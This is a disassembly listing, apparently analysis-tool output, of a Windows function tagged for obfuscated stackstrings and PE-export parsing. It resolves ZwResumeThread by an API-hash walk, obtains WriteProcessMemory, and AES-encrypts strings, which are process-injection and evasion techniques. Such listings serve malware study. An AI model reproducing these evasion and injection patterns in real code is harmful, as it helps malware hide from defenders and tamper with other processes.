Function at 0x140005830
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f00]
mov eax, 0x2000
call fcn.14000f100
sub rsp, rax
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1ef0], rax
mov qword [rbp - 0x80], r9
mov r13, rdx
mov r14, rcx
xor r12d, r12d
call fcn.140004ae0
mov r8d, 0x208
lea rdx, [rbp + 0xad0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000589b
mov eax, 0xfffffffe
jmp 0x1400093c8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a8], xmm0
mov qword [rbp + 0x5b8], rax
lea rcx, [rbp + 0x5a8]
call fcn.1400052c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 9
mov qword [rbp + 0x548], 0xf
movsd xmm0, qword [str.ntdll.dll]
movsd qword [rbp + 0x530], xmm0
movzx eax, byte [0x140010ad0]
mov byte [rbp + 0x538], al
mov byte [rbp + 0x539], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x4f0]
call fcn.140005350
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x508]
call fcn.140005520
nop
lea r8, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova r8, qword [rbp + 0x508]
add r8, qword [rbp + 0x518]
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
lea rcx, [rsp + 0x60]
call fcn.14000b5b0
nop
cmp qword [rax + 0x18], 7
jbe 0x140005992
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x140019320], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400059ef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov rax, qword [0x140019320]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test rax, rax
jne 0x140005bba
lea rdx, str.Failed_to_get_handle_to
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
mov r8, qword [rbp + 0x518]
mov rcx, rax
call fcn.14000c380
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005a9b
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005b0a
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005af2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005af2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005b4f
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a92
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005baa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005baa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 1
jmp 0x1400093c8
mov dword [rbp + 0x574], r12d
mov qword [rbp + 0x578], 0xc
mov qword [rbp + 0x580], 0xf
movsd xmm0, qword [str.kernel32.dll]
movsd qword [rbp + 0x568], xmm0
mov eax, dword [0x140010c50]
mov dword [rbp + 0x570], eax
mov byte [rbp + 0x574], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x550]
call fcn.140005350
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x588]
call fcn.140005520
nop
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
mov r8, qword [rbp + 0x598]
add r8, rdx
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
lea rcx, [rsp + 0x60]
call fcn.14000b5b0
nop
cmp qword [rax + 0x18], 7
jbe 0x140005c90
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140005ce2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cdc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test r15, r15
jne 0x140005fa6
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140005d75
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140005de4
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005dcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005dcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005e29
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005e87
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005ef6
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ede
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005f3b
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006a92
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 1
jmp 0x1400093c8
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x14000605c
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005fee
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x58]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x58]
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140006012
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
sar edx, cl
mov eax, dword [rsp + 0x50]
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rbp - 0x58]
imul ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005fd1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x14000630a
lea rdx, str.Failed_to_load_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400060de
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14000614d
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006135
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006135
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140006192
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000618c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000618c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400061f0
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400061ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x14000625f
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006247
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006247
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x1400062a4
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000629e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000629e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400093c3
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
jmp 0x1400093c3
mov dword [rbp + 0x718], 0x6552775a
mov dword [rbp + 0x71c], 0x656d7573
mov dword [rbp + 0x720], 0x65726854
mov word [rbp + 0x724], 0x6461
mov byte [rbp + 0x726], 0
lea rcx, [rbp + 0x718]
mov edi, r12d
mov al, 0x5a
nop dword [rax]
nop dword [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140006350
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov ebx, dword [rcx + 0x24]
add rbx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r9d, r12d
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x1400063c4
mov edx, dword [r8]
add rdx, r10
mov eax, r12d
movzx ecx, byte [rdx]
test cl, cl
je 0x1400063b4
ror eax, 0xd
movsx ecx, cl
add eax, ecx
lea rdx, [rdx + 1]
movzx ecx, byte [rdx]
test cl, cl
jne 0x1400063a1
cmp eax, edi
je 0x140006433
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140006391
lea rdx, str.Failed_to_resolve_ZwResumeThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400091a0
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000919a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000919a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
je 0x1400063c4
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x790]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x770]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rcx, qword [0x142e41838]
mov qword [rbp], rcx
lea rcx, [rbp + 0x5c0]
call fcn.140003580
nop
lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b370
lea rdx, [rbp + 0x5c0]
cmp qword [rbp + 0x5d8], 0xf
cmova rdx, qword [rbp + 0x5c0]
mov r8, qword [rbp + 0x5d0]
mov rcx, rax
call fcn.14000c380
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x5e0]
call fcn.140003e20
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b370
lea rdx, [rbp + 0x5e0]
cmp qword [rbp + 0x5f8], 0xf
cmova rdx, qword [rbp + 0x5e0]
mov r8, qword [rbp + 0x5f0]
mov rcx, rax
call fcn.14000c380
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x730]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x708]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x770]
lea r8, [rbp + 0x790]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x620]
call fcn.140003c30
nop
lea rdx, [rbp + 0x620]
lea rcx, [rbp - 0x78]
call fcn.140003e20
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b370
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400065e5
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000c380
lea rdx, [0x14000b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140006641
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000663b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000663b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xor ebx, ebx
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], bl
mov byte [rsp + 0x20], bl
lea r9, [rbp + 0x770]
lea r8, [rbp + 0x790]
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x600]
call fcn.140003c30
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140006a9c
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400066f7
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400066f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140006755
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000674f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000674f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x1400067b3
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400067ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400067ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140006811
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000680b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000680b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000686f
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006869
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006869
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x1400068de
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
